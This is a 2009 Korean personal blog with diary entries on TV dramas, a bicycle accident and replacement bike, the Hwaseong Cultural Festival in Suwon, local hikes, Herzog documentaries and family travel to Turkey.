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헤르미온느 노리스가 맡은, 인상 자체가 하드보일드한 여형사가 유난히 기억에 남는다. Ep.1과 Ep.2가 워낙 좋았다.

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SF니까 억지로 구깃구깃 보고는 있는 Defying Gravity. 이 진부한 드라마는 9화에 이르러서야 '떡밥'을 하나 던져준다. 그런데 2화 때부터 외계인인 줄 알고 있었다고요. 제발 좀. SF극을 인간미 뜨거운 General Hospital 류로 만들지 좀 말라구요. 작년에는 BA가 족같은 밀리터리 철학물 노릇을 하더니.

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바스쿼슈. 마지막화까지 작화 품질은 여전했다. 스토리만 좀 받쳐주면 꽤 괜찮은 애니가 되었을텐데 아쉽다.

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화성문화제

잡기 2009. 10. 15. 13:46
chrome은 다소 사용이 불편해서 보안 접속이 필요한 경우에만 사용했다. 우연히 chrome plus를 설치하고 사용해보니 속도가 무척 빠르고 편하다. 몇몇 버그가 있지만 북마크 온라인 싱크, 마우스 제스쳐, 광속에 가까운 스피드, IE 탭, 단순한 인터페이스가 마음에 들어 죽 사용했다. 사실상 지난 한 달새 크롬플러스가  주력 브라우저가 되었다. 다른 브라우저들 역시 그런 것쯤은 지원하는데, 유독 크롬플러스를 편안하게 생각하는 이유는, simple & fast 때문.

'장난감을 많이 가지고 놀다가 죽은 사람이 성공한 인생을 살다 간 사람이다.' from 말콤 포브스. -- '열혈장사꾼'이란 만화책에서 봤다. 여자 얼굴들이 다 똑같은 특이한 만화다. 되지도 않는 말을 갖다 붙이는 것이나 어안이 벙벙할 정도로 유치한 서사가 돋보이기도 했다. 심지어 이걸 드라마로도 만든다!

'거울은 먼저 웃지 않는다. 네가 웃어야 거울도 웃는다.' -- 같은 만화책. 거울 보고 저 좋으라고 표정 짓는 것만큼은 좀 바보스럽지 싶은데? 거울은 글쎄, 자기 얼굴이 타인에게 어떻게 연출되는 지 확인하는 거지, 자기가 자기에게 어떻게 보이는 지 확인하는 용도가 아니지 싶은데... 그렇게도 사용 하나? 나야 내 얼굴이 남에게 어떻게 연출되는지 별로 궁금하지 않다. 그러므로 물리적 실재로써의 거울은 별 무소용이고, 심상의 은유로만 사용했다.

KT의 CI가 KT에서 olleh kt로 바뀐 것은 알지만 최근에야 대문자가 소문자로 바뀐 것을 알았다. olleh가 hello의 역순이고, 올來라는 뜻이기도 하고 'kt로 올래?'가 되기도 한단다. kt가 변할까? 글쎄다.

LGT에서 7월 통신료가 터무니없이 나와 통화내역을 뽑아보니 한 번 통화에 4시간을 했다. 세무서에 전화한 것이었다. 이쪽이 끊거나 저쪽이 끊으면 통화가 차단되므로 양쪽이 모두 전화를 끊지 않았다면 말이 되기는 하는데... 그럴 확률은 낮아 보이고, 게다가 내 전화기는 PDA폰이라 통화 시간이 1~2시간으로 짧은 편. LGT에서도 휴대폰이 해킹당했는지 여부를 조사해 봤으나 해당 사항 없다. 원인을 알 수 없단다. 그래도 한 번 통화에 4시간을 했다는 것은 말이 되지 않아 환불 요청을 했다. 2-3일 후 LGT 콜센터의 팀장이란 사람이 전화해 해당 통화에 대해 22000원을 환불해 줬다. LGT 콜센터의 상담원 서비스가 감동이라더니 헛 말은 아닌 듯. kt가 CI 바꾼 다음에 과연 나아 졌을까? 글쎄다. kt였다면 전화 하자마자 일단 소비자 보호원에 고발한다고 으름장을 놓고 악을 쓰며 일주일을 난리쳐야 하지 싶은데.

LGT의 사장인지 회장인지 하는 양반이 LTE 사업에 부정적이라고 말하는 기사를 봤다. 내 눈에는 LGT가 LTE 아니면 살아날 길이 없어 보였다. 와이브로를 하는 kt나 SKT는 와이브로를 확산할 의지가 없어 보이는 것처럼. 시대가 바뀌면 그때 조류에 편승할 것처럼 보였다. 최근 아이폰 출시 문제로 여러 사람을 울리고 웃겼던 회사들이니.

좋은 책을 꾸준히 소개할 방법이 있으면 좋겠다고 생각했는데 알라딘에 Thanks To Blogger란 것이 있었다. 남들 블로그에 들어가보니 책 선전할 때 알라딘 TTB가  떴다. 처음에는 출판사 선전에, 블로그 용돈벌이 수단 같아 눈에 거슬렸지만 가만 보니 내 목적에 부합할 수 있다고 생각했다. 알라딘 TTB로 돈 벌 생각은 없고, 책이 귀하니(절판이 많이 되어) 제목만이라도 소개해 우연히 학교/동네 도서관에서 찾아 읽을 수 있으면 된 거다. 도서관은 가물었을 때 소중한 물을 가두고 있는 저수지나 댐의 역할을 하는 곳이다. 60권 가량 등록했다. 생각날 때마다 추가하겠지만 아쉽게도 최근 1-2년 읽은 것 외에 머리 속에 떠오르는 것이 없다.

몰래 트위터질을 얼마간 하다가 접었다. 몇 안 되는 글자로 정서 표현이나 url 끄적이는 정도나 가능할 뿐, 나나 트위터의 이웃의 초 단위로 변하는 지저분한 감상이나 밑도 끝도 없는 위트를 즐기기엔 내 스펙이 역부족이다(mea culpa! mea culpa!). 아무래도 평소 게시물에 달린 한 줄 짜리 댓글에 가지고 있는 복잡한 감정과 비슷하지 싶다.

blog(web log)가 애당초와는 달리 상당히 많이 변형되었다는 것을 미리 감안하고, 자기 일기장 공개해서 얼굴을 모르는 '친구'를 사귀고, 밑도 끝도 없이 공감하고, 선전으로 돈을 벌고, 자기 일기에 토다는 걸 감사해 하는게 어떻게 생각하면 웃겼다. 반감은 없다. 그냥 웃긴다.

그리스 수학만화 영.미 출판시장 강타 -- 버트란드 러셀이라니... 보고 싶다. 국내에 번역된 아포스톨로스 독시아디스의 '골드바흐의 추측'은 절판을 반복하다가 '사람들이 미쳤다고 말한 외로운 수학 천재 이야기'로 재간되었다. 기사 본 김에 알라딘 TTB에 즉시 등록했다.

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2009/10/10. 얼마전 자전거 사고의 가해자로부터 자전거 사러 오라는 연락을 받았다. 그 분이 아는 가게에서 사기로 해서 버스 타고 갔다. 좀 허름한 자전거 가게가 보였다. 자전거를 고르려 했지만 MTB는 딱 2개뿐이고 주로 생활자전거를 취급했다. 아저씨 철학이 확고해서, 흔히 보통보다 3배 빠른 빨간색은 저가 자전거에나 쓰는 색상이란다.

사진은 Appalanchia TeamComp 2.5D로 무려 43만원 짜리. 팀콤프 2.5d 다음 것은 150만원짜리 엘 파마. 마음에 두고 있던 모델은 Hound 700 또는 Outpost 기종, 그것도 안되면 알로빅스 700이나 알톤의 2009년 모델 등 주로 30만원 미만의 자전거 였다. 하여튼 울며 겨자먹기로 원치 않는 모델, 원치 않는 색상, 원치않는 가격에 자전거를 샀다. 그런데 흰색 자전거가 생각보다 나쁘지는 않았다.
 
FRAME APPALANCHIA ALLOY FRAME
FORK RST, OMNI 191-T9, 80mm TRAVEL, W/O PIVOT, FOR DISC BRAKE
RIMS 26X1.75\", 14GX32H, F/V, SIDE CNC
HUBS SHIMANO, HB-RM65, 32H, OLD:100mm, CENTER LOCK
SPOKES STEEL BLACK, STEEL UCP NIPPLE
TIRES HENGA, HS-391, 26X1.95\", F/V(40mm), SKIN WALL, ALL BLACK
PEDALS ALLOY, 9/16\", BODY:ALLOY SILVER, CAGE:ALLOY BLACK
CRANK 42X34X24T, 170mm, ARM:ALLOY BLACK
CHAIN KMC, Z-72
BOTTOM BRACKET SHIMANO, BB-UN26, SHELL:BSA 68mm
FRONT DERAILLEUR SHIMANO, FD-C050, DUAL PULL, Φ31.8 BAND
REAR DERAILLEUR SHIMANO, ACERA RD-M360-L, DIRECT-MOUNT BLACK
SHIFTERS SHIMANO, ST-EF60-8, 3X8-SP, BLACK
HANDLEBARS APPALANCHIA BAR, Φ22.2XΦ25.4, W:620, RISE:20, SAND BLAST BLACK
STEM APPALANCHIA STEM, Φ28.6XΦ25.4, 17˚, H:41, EX:90/110, SAND BLAST BLACK
HEADSET 1-1/8\", STEEL BLACK
BRAKESET SHIMANO, BR-M416-L, MECHANICAL DISC BRAKE, 160mm CENTER LOCK RING ROTOR
SADDLE APPALANCHIA SADDLE, RAIL:STEEL BLACK, W/APPALANCHIA LOGO
SEAT POST ALLOY, Φ27.2X350L, SAND BLAST BLACK, W/APPALANCHIA LOGO
이런 자전거는 처음 타 본다. 마침 화성문화제 기간이라 자전거를 몰고 시장으로 향했다. 오랫만에 자전거를 모는데, 사고 후유증 탓인지 툭하면 브레이크를 잡았다. 종아리에 늘어져 있는 알류산 열도의 섬들처럼 산만하게 늘어선 상처는 점점 옅어져 가지만 마음에 새겨진 공포의 얼룩은 쉽게 지워지지 않는 것 같다. 두어달 동안 죽을 뻔한 사고가 연달아 세 번 난 탓일까? 김씨는 내가 댓가를 지불할 때가 되었다고 말했다. 최씨도 얼마 전 그런 얘기를 했다. '당신은 자전거 타면 죽어요' 라고. 역으로 생각하면, 이런 행운은 몹시 드문 것이다.  

남들이 뭐란다고 자전거를 안 탈 것 같지는 않고. 지난 주는 자전거 출퇴근을 못해서 영 김이 샜다. 욕구불만이 쌓이는 것 같다. 이제 곧 11월이다. 자전거 타기가 점점 힘들어진다.

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시민 퍼레이드가 1시간 넘게 이어졌다. 그 다음에야 기다리던 능행차가 비로소 시작되었다.  화성문화제가 46번째인데 올해는 수원시 승격 60주년이라서인지 평소보다 요란하다는 평이다. 하긴 무슨 놈에 퍼레이드를 3시간을 하는지. 시간이 맣이 걸리긴 했지만, 퍼레이드나 화성문화제 구경이 꽤 재미있어서, 이럴 줄 알았으면 지인들 불러다가 저녁에 술이나 할껄 하고 생각했다. 그래서 저녁에 곽과장을 만나 밤 늦게까지 마셨다.

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이사온 후 이래저래 조사를 하다 알게된 것: 수원시 인구는 2009년 9월 110만명. 그중 외국인은 25000명 가량. 정조의 능행차때 이렇게 외국인 병졸이 있었으면 꽤 재미있었을 것이다.

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오후 6시까지 북문에서 남문까지의 도로를 통제했다. 덕택에 사람들이 거리를 마음껏 휘졋고 다닐 수 있었는데, 그간의 학습 탓인지 시민이 도로를 점거하고 있는 저 모습은 흡사 데모대 같달까... 촛불 시위할 때 저랬지.

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평소에 팔달문(남문) 꼭대기에 올라갈 수 있었나? 서울 사대문과 달리 이쪽 성은 멋지다. 남대문처럼 그저 어이없이 타버리지 않길 빈다. 서울 남대문 시장 상가 사람들은 남대문이 타버리면서 북쪽에서 내려오는 화기를 막지 못해 남대문 근처에 화재가 자주 발생하게 되었다는 도시괴담을 퍼트렸다. 내가 이명박이라면 오세훈에게 차기 대권 출마때 밀어주기로 하고 남대문 일대 상가를 가든 파이브로 강제 이주시킨 다음 그곳을 불바다로 만든 후 재개발하겠다. 말하고 나니까 왠지 시원한게, 이명박이 어떤 기분으로 집무하는지 알 것 같은 기분이 들었다.

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팔달문에서 바라본 팔달시장. 팔달시장을 통과해 개울을 건너 맞은편 지동 시장에 '밀알왕순대' 집이 있다. 우연찮게 그곳에서 점심으로 순대국을 먹었다. 생각보다 맛이 좋았다. 뭐 하나 발견한 기분이다.

저번에 팔달문 근처를 자전거 타고 다니다가 왠 통닭집 앞에 사람들이 줄을 서서 기다리고 있는 모습을 보았다. 통닭을 줄서서 사먹는다? 알고보니 그 집이 꽤 유명한 '진미통닭'이란 곳이었다. 기회되면 사먹어보자고 다짐했다.

오늘도 한가하게 자전거 타고 돌다가 길거리에 사람들이 죽 늘어서 기다리는 분식점을 보았다. '보영만두'라는 간판을 얼핏 봤다. 집에 와서 조사해보니 군만두와 쫄면으로 유명한 곳이다. 군만두와 쫄면을 줄서서 사먹는 것이 잘 이해가 안 가지만.

어쨌든 꽤 재밌는 문화제다.

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Warehouse 13. syfy channel(과거 scifi)에서 작년에 연재되었던 판타지물 같다. 이 세상에서 돌아다녀서는 안될 유물(artifact)을 수집한다. 13번째 창고에서 13이란 숫자는 미국이 문명이 시작된 이래 13번째로 강력한 제국을 건설했기 때문에 붙은 숫자이고, 유물 창고는 그런 그 시대에 가장 강력한 파워를 가진 제국에 저절로 위치한다.

Warehouse 13의 첫 화를 시청하다가 여 주인공 얼굴이 낯이 익어 유심히 살펴보았다. 내가 미친게 아니라면 드라마의 여주인공은 보티첼리의 아프로디테와 무척 닯았다. 확인을 위해 보티첼리의 그림을 웹에서 찾아 보았다.

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그럼 그렇지. 캐스팅을 일부러 저렇게 한 것일까? 조개껍질을 타고와 악당에게 로우킥을 날리는?

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detour

잡기 2009. 10. 5. 00:20
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마누라에게 보내는 영상 편지. 배경음악: http://www.youtube.com/watch?v=mP6-j9pxTGI 사연: "어이 아줌마 여긴 청계산 꼭대기야. 생각나서 찍었어. 아내한테 보약은 역시 일없이 히죽히죽 웃는 남편 얼굴 아니겠어?난 주중엔 바쁘고, 바람 안 피우고, 행복하게 여기저기 돌아다니면서, 삼시세끼 먹으며 쓸쓸히 잘 지내고 있어. 소울이 끼니 거르게 하지 말고, 장모님이 아줌마 외국 나간 거 눈치채셨으니 알아서 잘해 봐. "

미팅하러 거래처에 갔더니 적외선 카메라가 입구에 있었다. 몇 개월 전에 신종플루 상황이 pandemic이라더니 드디어인가? 치사율이 독감보다 낮은 신종플루에 떨 것 없지 싶은데... 이럴때 항공권 싸니까 마누라/애 여행 보내고, 좀 있으면 노인네들 무료 백신 맞게 해 줄테니 관광주 뜰테고, 그러니까 하나투어 주식 사재기 해 둬야지 싶은데... 다들 벌써 그렇게들 했나? 바쁜 관계로 투자에는 까막눈이다.

바람 빠진 자전거를 타고 퇴근하다가 다리에 알이 배겼다. 다리에 알이 배기다니... 신선했다. 잘 안 나가는 자전거를 식은땀을 흘리며 한밤중에 차들에 쫓기며 정신없이 몰았으니까. 쇼핑몰에서 2500원짜리 자전거 펌프를 주문했다. 배송료가 2500원이다. 1400원 짜리 Wheel light와 2400원짜리 백라이트도 샀다. 밤에 도로를 달리는 것이 으시시해서 대비를 제대로 해놓을 생각이다. 2500원짜리 펌프의 성능이 의외로 좋다. 그 전에 사용하던 25000원 짜리 펌프는 다루기도 어렵고 바람이 들어가지 않았다.

9/26 광교산에 올라갔다. 자전거를 타고 광교공원까지 갔다. 천천히 가도 20분이면 충분히 도착할 것 같다. 자전거 거치대에 자전거를 잠궈놓고 출발했다. 입구를 잘못 알아 경기대 수원 캠퍼스 입구 옆으로 올라갔다. 광교산은 수원을 전세계적으로 유명하게 한 세 군데 화장실이 있는 곳이다. WSJ에 그 아름다운 화장실 사진이 실렸다던데, 아쉽게도 화장실을 보지 못하고 지나쳤다. 광교산은 가족 나들이로 올라가기 적합한 야트막한 육산이다. 수원천의 발원지이기도 하다. 광교산에 MTB 싱글트랙이 있는 것 같다.

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소나무가 참 많다. 소나무는 피톤치드하고 상관이 없었나? 그럴리가. 하지만 숲에서 별 냄새가 안 난다. 산짐승은 거의 없거나 아예 없는 듯. 소나무 마다 아바멕틴벤조에이트 주사 날짜가 적힌 명패를 붙여 놓았다. 집에 와서 조사해 보니 소나무재선충 방재용인데, 아바멕틴과 emamectin benzoate를 헷갈리게 적어 놓은 듯. 아바맥틴은 솔입혹파리와 솔껍질깍지벌레 양쪽에 방재 효과가 있고 에마멕틴 벤조에이트는 솔껍질깍지벌레에 효과가 있단다. 요새는 그 약품을 난초에도 사용하는 듯.

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한 시간쯤 올라가도 영동 고속도로를 지나가는 차량 소음으로 시끄러웠다. 광교터널이 광교산 아래를 지나갔다. 아하, 이래서들 산에 터널 뚫지 말라고 아우성이군. 사람들로 북적이고 심한 차량 소음에 산새 소리가 들리지 않아 산이 영 마음에 안 든다. 형제봉을 거쳐 시루봉 근처에서 점심 도시락을 꺼내 먹었다. 백운산, 지지대까지 갈까 하다가 김이 새서 그냥 내려오기로 했다. 상광교 버스종점에서 13번 시내버스를 타고 자전거를 묶어둔 광교공원까지 내려왔다. 재미없는 산이지만, 상광교 버스 종점부터 산행로 초입까지 조성해 놓은 공원은 아이 데리고 놀러오기 괜찮아 보인다.

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막걸리 한 병과 쪽파 좀 사다가 부침가루로 부친개를 해먹었다. 부친개 만드는 솜씨도 점점 나아지는 것 같다.

10/2 추석 연휴 첫 날, 할 일은 없고 집에 붙어 있자니 근질근질해서 도시락을 싸들고 청계산으로 향했다. 가장 가까운 곳이 4호선 인덕원역. 박사장님은 입만 열었다하면 인덕원 근처가 술먹기 좋다고 갖은 칭송을 늘어놓았는데 사실 한 번도 술마시러 인덕원에 온 적은 없었다. 2번 출구에서 1번 마을버스를 하염없이 기다리다 질려 택시를 타고 청계동을 지나 청계사까지 올라갔다. 택시 요금은 6300원, 인덕원역 앞에서 청계사까지 약 15분 정도 걸린 것 같다.

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청계사로 오르는 계단. 남들은 버스 타고 와서 청계동에서부터 청계사까지 지루한 평지를 꾸역꾸역 걸어오는데 청계사에서부터 시작하니 좀 민망하다. 산행 마치고 나서 생각해보니 청계사에서 시작하는게 낫다는 생각이 들었다.

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초파일도 아닌데 마당에 색색이 걸려있는 연등.

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청계사의 볼꺼리가 극락보전이지만  절 뒷편의 난간에 잔뜩 올려 놓은 각양각색의 동자승 보는 것도 재밌다.

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1999년 봉안한 자갈로 만든 와불.

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와불 옆의 본격적인 산행 코스. 저번 주에 간 광교산은 하나도 재미가 없었는데, 다짜고짜 땀을 뻘뻘 흘리면서 업힐(?)을 하게되는 이 길이 마음에 들었다. 계단과 흙더미, 돌무더기를 밟으며 꾸준히 300m 가량의 표고차를 올라가면(거리는 대략 5-600m쯤?) 첫번째 전망대가 나타난다. 오랫동안 산에 안 올라왔지만 그래도 단련되어서 인지 별로 힘들다는 느낌은 들지 않아 쉬지 않고 올랐다.

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전망대에서 바라본 풍경. 대공원과 맞은편의 관악산이 보였다. 길을 잘못 들어 이수봉까지 갔다가 이곳 전망대로 다시 돌아와 점심을 먹었다. 사람들이 많이 다니는 목마다 막걸리를 파는 사람들이 종종 눈에 띄었다. 지나가는 등산객에게 귀동냥으로 들으니 매봉 앞에 있는 막걸리 장사 아저씨가 진짜란다. 왜냐면 그 아저씨는 TV에 나왔고 다른 사람들은 TV에 나오지 않아서란다.

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오늘따라 바람이 많이 불어서인지 땀이 곧 말라 시원하다. 망경대 앞으로 올라가기 전 공터.

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망경대에서 바라본 과천 대공원의 동물원 위에 있는 저수지. 망경대는 군부대가 차지하고 있어 출입이 제한되어 있다. 그래서 망경대 앞뒤로 있는 작은 봉우리가 정상을 대신했다.


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매바위 앞. 여기서부터 하산길 내내 툭하면 '서초구가 등산객들의 편의를 위해 만든 어쩌구저쩌구 등산로/계단/공원'이 쉴 새 없이 튀어나왔다.  다른 곳에서는 그냥 입 다물고 등산로/계단/공원 만드는데 유독 서초구만 오두방정을 떨며 위화감 생기게 하는 이유가 뭘까? 서초구는 돈이 많다고 자랑하고 싶어서?

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옥녀봉을 거쳐 화물터미널로 가면 소위 청계산 종주코스가 되는데, 그리 가지 않고 대공원 쪽으로 내려왔다. 돌아오는 교통편이 불편해서다. 그런데 의외로 이쪽 길이 마음에 들었다.

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갈림길. 사람이 거의 없고 숲이 숲 같이 생겼다. 작은 개울을 따라 내려가면 작은 폭포도 눈에 띈다. 냇가에 앉아 발 담그고 놀고 갈 수 있는 호젓한 곳이다. 조금 더 내려가니 서울랜드로부터 떠들썩한 소음이 들린다. 현대미술관에 들렀다 갈까 하다가 마음을 바꿔 역으로 향했다. 미술관은 데이트나 하러 가는 곳이다.

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역에서 지하철을 기다리다가 본 포스터. 이게 뭐야? 지구를 구하려면 기도해야 되나?

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'오래 사세요' 집에 돌아와 세계적인 인도주의자인 칭하이 무상사의 비디오를 유튜브에서 부러 찾아 관람했다. 십여개국의 언어로 된 서브타이틀이 화면의 태반을 가렸다. 별로 틀린 구석이 없는 뻔한 얘기를 줄줄이 늘어놓는다. 그러게, 채식하고 육류 소비를 줄이면 지구를 구할 수 있지. 아무렴. 아무래도 대순진리회나 사이언톨로지와 비슷하지 싶다. 소정의 수수료를 헌금하면 칭하이 무상사의 위대하고 뻔한 가르침을 들을 수 있겠다.

추석 연휴 중 자전거를 타고 슬슬 시내 주행 하다가, 주유소 앞에서 사고가 났다. 주유소를 빠져 나오던 코란도가 나를 미쳐 보지 못하고 자전거 옆구리를 박았다(전방 주시 안 했음). 차가 덮치는 걸 뻔히 보고 자전거를 급히 틀었지만 그때까지 나를 보지 못한 자동차가 좀 더 밀고 들어왔다. 딴전 피우고 있었단다. 자전거와 함께 쓰러졌다. 골반 윗쪽 사타구니와 정강이 아래, 복숭아 뼈에서 피가 주르륵 흘렀다. 절뚝거렸다. 왼쪽 손목 인대가 '또' 늘어났다. 차체가 낮은 승용차였다면 다리가 범퍼 밑에 자전거와 함께 깔리면서 부러졌을 것이다.

자전거가 박살났지만 어째서인지 응급실에서 엑스레이를 찍어보니 저번처럼 뼈에 실금하나 보이지 않았다. 입원하겠습니까? 라고 묻길래 아니 라고 대꾸했다. 나이롱 환자가 될 생각은 없다. 이번 주에도 일 때문에 바빠서 그럴 여유가 없다. 주사 맞고 드레싱만 하고 병원을 나왔다. 최근에는 내가 먼저 사고낸 적이 없다. 그래도 몇 번 인가 연달아 죽을 뻔 하게 되니 간담이 서늘하다. 그렇게 조심했건만, 상대방의 과실로 벌어지는 사고는 어쩔 수가 없다.

가해자가 아는 바이크샵에 반파된 자전거를 맡겨 '하루종일' 수리했다. 하지만 프레임이 비틀린 것인지 영 주행감이 괴상하여 가해자 측과 협의해 비슷한 가격의 새 자전거를 사기로 했다. 치료비는 응급실 검사비+주사+약값 해서 75000원 가량 나왔다. 자전거는 30만원 안쪽에서 알아보기로 했다. 늘 그래왔듯이 살아서 다행이다.

10월 28일 보궐선거에 손학규는 끼지 않았다. 이재오 역시 이번 보궐선거에 나올 수 없게 되었다. 10월 28일 선거를 위해 찬찬이 정보를 수집중이다.

한동안 EIDF 다큐멘터리를 즐겼다. 내가 아는 베르너 헤어조크는 항상 흥미로운 다큐멘터리를 만들었다. 그의 독일 억양이 억세게 느껴지는 영어 나레이션에 묘한 중독성마저 있다. 이번에 EIDF에서 틀어준 헤어조크의 다큐멘터리 하나하나가 주옥같다.

헤어조크는 약속을 지키기 위해 구두를 끓여 먹었다('베르너 헤어조크, 구두를 먹다'). 스페인 침략 당시의 그 유명한 광기의 기록을 드라마타이즈한 '아퀴레, 신의 분노'도 보았다. 식인종들이 떠드는 소리를 듣고 주고받는 대화: '뭐라고 지껄이는 거지?' '고기가 떠내려온다' . 마지막 장면과 첫 장면이 대단히 인상적인데, 알고봤더니 첫 장면은 와나픽추에서 찍은 것이었다(예전에 여행할 때 마추픽추보다 와나픽추에 기어 올라갔던 것이 더 기억에 남는다). 그리고 마지막 장면을 비롯한 여러 씬을 우르밤바 강에서 찍었다. 아퀴레, 신의 분노의 주연 배우 킨스키를 다룬 '나의 친애하는 적'도 재미있었다. 킨스키는 노스페라투에 나왔던 불쌍한 흡혈귀.

그 다음은 티모시 트레드웰의 죽음을 다룬 '그리즐리맨'을 보았다. 티모시 트레드웰은 자기가 그토록 좋아하는 그리즐리 곰에게 살해당했다. 그가 손수 찍은 비디오를 보면 자기가 곰들을 이해한다고 굳게 믿으면서 곰들 무리에서 일 년에 1-2개월 함께 살았는데, 그동안 안 죽은 것이 오히려 신기했다. 트레드웰은 곰들을 이해하겠지만 곰들이 트레드웰을 이해할 리가 없으니까. 북미지역에서 가장 무서운 곰이 내가 알기로 흑곰이다. 만나면 다짜고짜 죽이니까.

헤어조크가 ' 난 또다른 펭귄 영화를 만들 생각이 없다'면서 찍은 것은 남극에 모인 가지각색의 사람들의 일상사를 다룬 '세상 끝과의 조우'였다. 뭐 그의 뜻대로 그럴 생각은 없었겠지만, 집으로 돌아가지 않고, 그렇다고 먹이를 사냥하러 바닷가에 가지 않고, 우두커니 서 있다가 문득 결심을 굳힌 듯 갑자기 산으로 가는 미친 펭귄을 카메라에 담기도 했다.  아무 것도 없는 산에 가는 미친 펭귄을 보니 남 얘기 같지 않았다. 남극에 간 사람들과 산으로 올라가는 펭귄과 별  차이를 느낄 수 없었다. 그래서 헤어조크가 펭귄  농담을 한 것이다.

EIDF를 통해 이란 팔래비 왕조의 몰락과(뭐 아는 얘기라서 별 재미가 없을 것 같았는데 흘낏 본 장면에서 팔래비 왕조의 마지막 왕비가 눈물을 글썽이고 있었다), 2007년 버마 항쟁의 기록도 봤다. 버마 생각을 하면 드라마 philanthropist 와 내가 미얀마에서 만난 사람들 생각이 나서 우울해진다.

양곤의 스웨다곤에서 데모가 시작되었다. 화면을 보아하니 스웨다곤의 남문이다. 버마에서 데모하던 스님들의 구호는  이랬다:
생명이 있는 자들은 모두 동쪽으로
삼라만상이 모두 자유로워지기를
두려움과 번뇌와 가난에서 자유로워지기를
마음의 평화가 찾아오기를
구호가 정말 마음에 든다. 데모를 주도하던 스님들은 심하게 구타 당했다. 맞아 죽기도 했다. 최근 미얀마 군부는 아웅산 수 치 여사와 대화를 시도했다. 여전히 philanthropist란 미국 드라마가 위선적이라고 말하는 사람들과 사이좋게 지냈다. 도아님 같은 분이 통전선교를 한다고 비난하는 월드비전을 굳이 옹호하려고 애쓰지 않았다. 그보다는 생활비하고 남은 돈이 있으면 마누라 몰래 월드비전 같은 곳에 기부하는 정도지.  세상의 정의 실현에 관심 없다. 철학에도 관심없다. 선교를 하건말건 애새끼 배나 채워줄 수 있으면 된다. 나처럼 인간성에 깊이 실망한 사람들이 아마도 행동을 자신에 맞춰 커스터마이즈하지 싶다. 얼터드 카본에서는 그것을 '복수의 개인화'라고 했다. 타인의 생각과 행동을 바꾸라고 설득하는데 소비하는 시간을 아깝다고 생각하면 그렇게 되지 싶다. 어렸을 적엔 말재주가 있었으면 하고 간절히 바랬던 적이 있었다. 그러고보니 사회복지 변호사 되겠다던 제이님은 요즘 뭘 하고 있지? 애 낳지 말고 개인의 행복을 희생하며 매진하라고 기회될 때마다 북돋워 줘야 하는 거 아닐까? 아니야 그냥 매너나 지키면서 가만히 있자.

그나저나 EIDF 만세! 부디 장수하길!

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에르고 프락시. 첫 편을 몇 년 전에 보고 기대했었다. 이제서야 전 편을 보게 되었는데, 이 애니의 레종 데트르가 뭔지 사뭇 궁금하다. 타이틀곡만 좋았다. 알고 보니 cogito, ergo sum으로 반병신스럽게 연명하는 평범한 쓰레기였다.

트랜스포머2. 딱 13세 수준의 영화같은데? 옵티머스 프라임이 옛날에 프랑스 병사들이 사격 연습용으로 쏴대던 스핑크스 옆에 듬직하게 서 있다. 화면이 정신 사나워서 전 편보다 재미가 없었다.

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Alone in the Wild. 처량하게 운다.

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말하다 말고 울고...

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야생에서 50일을 버티며 주린 배와 외로움에 울었다. 만약 내가 저 상황이면 잘해낼 수 있을까? 구호품만 주어진다면 90일은 문제 없이 버틸 것 같다.

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문명으로 돌아와 자신의 모습을 거울로 보며 카메라로 찍는다. alone in the wild는 3화로 끝났다. 그가 실패했다고 비웃거나 비난하지 않는다. 그렇다고 어깨를 다독여주며 위로할 생각도 없다. 그저 이런 '산에 간 미친 펭귄' 프로그램이 또 나왔으면 좋겠다.

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수원 화성 관광

잡기 2009. 9. 26. 00:55
이사온 후 일주일에 두 번 정도 자전거로 출퇴근한다. 사무실까지 거리는 15km, 평속19~21kmh 가량, 약 45분 거리. 코스 중 2/3를 차지하는 1번 국도를 타고 가는데 낮에는 괜찮지만 밤에는 1차선폭 도로를 쌩쌩 달리는 차량 때문에 좀 무섭다. 출근할 때 도서관에 들르면 30분 정도 더 걸린다. 서점에서는 절판된(?) 혼블로워 시리즈를 도서관에서 발견했는데 워낙 인기가 좋아 1-5권은 본 적이 없고, 그래서 6권부터 읽기 시작했다. 도서관에서 빌린 첫번째 책은 미치오 가쿠의 평행우주였다. 평행우주에는 여러 SF가 등장했다. 그중 All the myriad way는 여전히 읽어보지 못했다.

전 대원이 환각에 시달리는 Defying Gravity 4화에서 H2IK Sequence란 것이 나왔다. 로스트를 벤치마크했는지 바보같은 플래시백을 자나깨나 사용하고 심한 낚시질에 내용은 별 거 없고 아울러 재미도 없지만  H2IK 시퀀스는 언젠가 써먹을 수 있을 것 같다. H2IK=Hell If I Know

9월 23일 밤. 아내는 라면 세 박스를 포함한 다섯 박스의 짐과, 아이를 데리고 오후 11:30분 비행기를 타고 터키로 날아갔다. 오랫만에 하는 여행 탓에 며칠 전부터 기분이 좋은지 콧노래를 부르며 평소와 달리 아이를 살갑게 대했다.

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그 다음날인 9월 24일 술탄 아흐멧의 아야 소피아 앞에서 찍은 사진. 생후 37.5개월 짜리의 첫 해외여행인데 적응을 잘한 듯. 고등어 케밥도 잘 먹고.

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딸애가 터키인들에게 인기가 좋단다.  전형적인 터키 아줌마. 젊었을 땐 날씬하고 예쁘다가 나이가 들면... 음... 멋있어진다.  아내가 메신저로 사진을 보내줬다. 이제는 기계치도 사진을 실시간으로 보내는 등, 세상 많이 좋아졌다. 아내는 들고 간 070 인터넷 전화기 셋업을 못해 헤멨다. 어떻게 셋업하는지 안다고 우기길래 내버려뒀더니만... 역시 제대로 된 기계치 답다.

한 달 후 귀국할 때 잊지 말고 알려줘야 할 팁: 비행기에서 자다 깬 경우, 수면 중 열이 오르기 때문에 신종플루 검사를 위해 설치한 입국장 적외선 감지기에 걸려 수속이 지체될 수 있으므로 괜히 빨리 빠져나온다고 서둘러 뛰지 말고(나나 아내나 평소에 번거로운 입국수속 지체를 피하기 위해 1등석 승객들보다 더 빨리 빠져나온다) 화장실에 들러 찬물로 얼굴을 씻어 열을 내릴 것.

Solar Roadways -- 이거 정말 끝내주는데?
Russia's New Holiday: Programmer's Day -- 선진국 러시아.

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사이트 로그를 보니 2009-9-6 하룻동안 1215명이 방문했다. 망할. 로봇 차단했더니 성과가 만족스럽다. 다시 사이트를 열어놔도 방문자 수는 늘지 않았다. 요새는 지인들의 방문이 뜸하다. 언젠가 나도 선배들처럼 온라인의 어둠 속으로 슬며시 사라질 것이다.  어쩌면 그전에 하루에 천명씩 방문하는 꼴이 밥맛이 떨어져서 사이트 문 닫을지도.

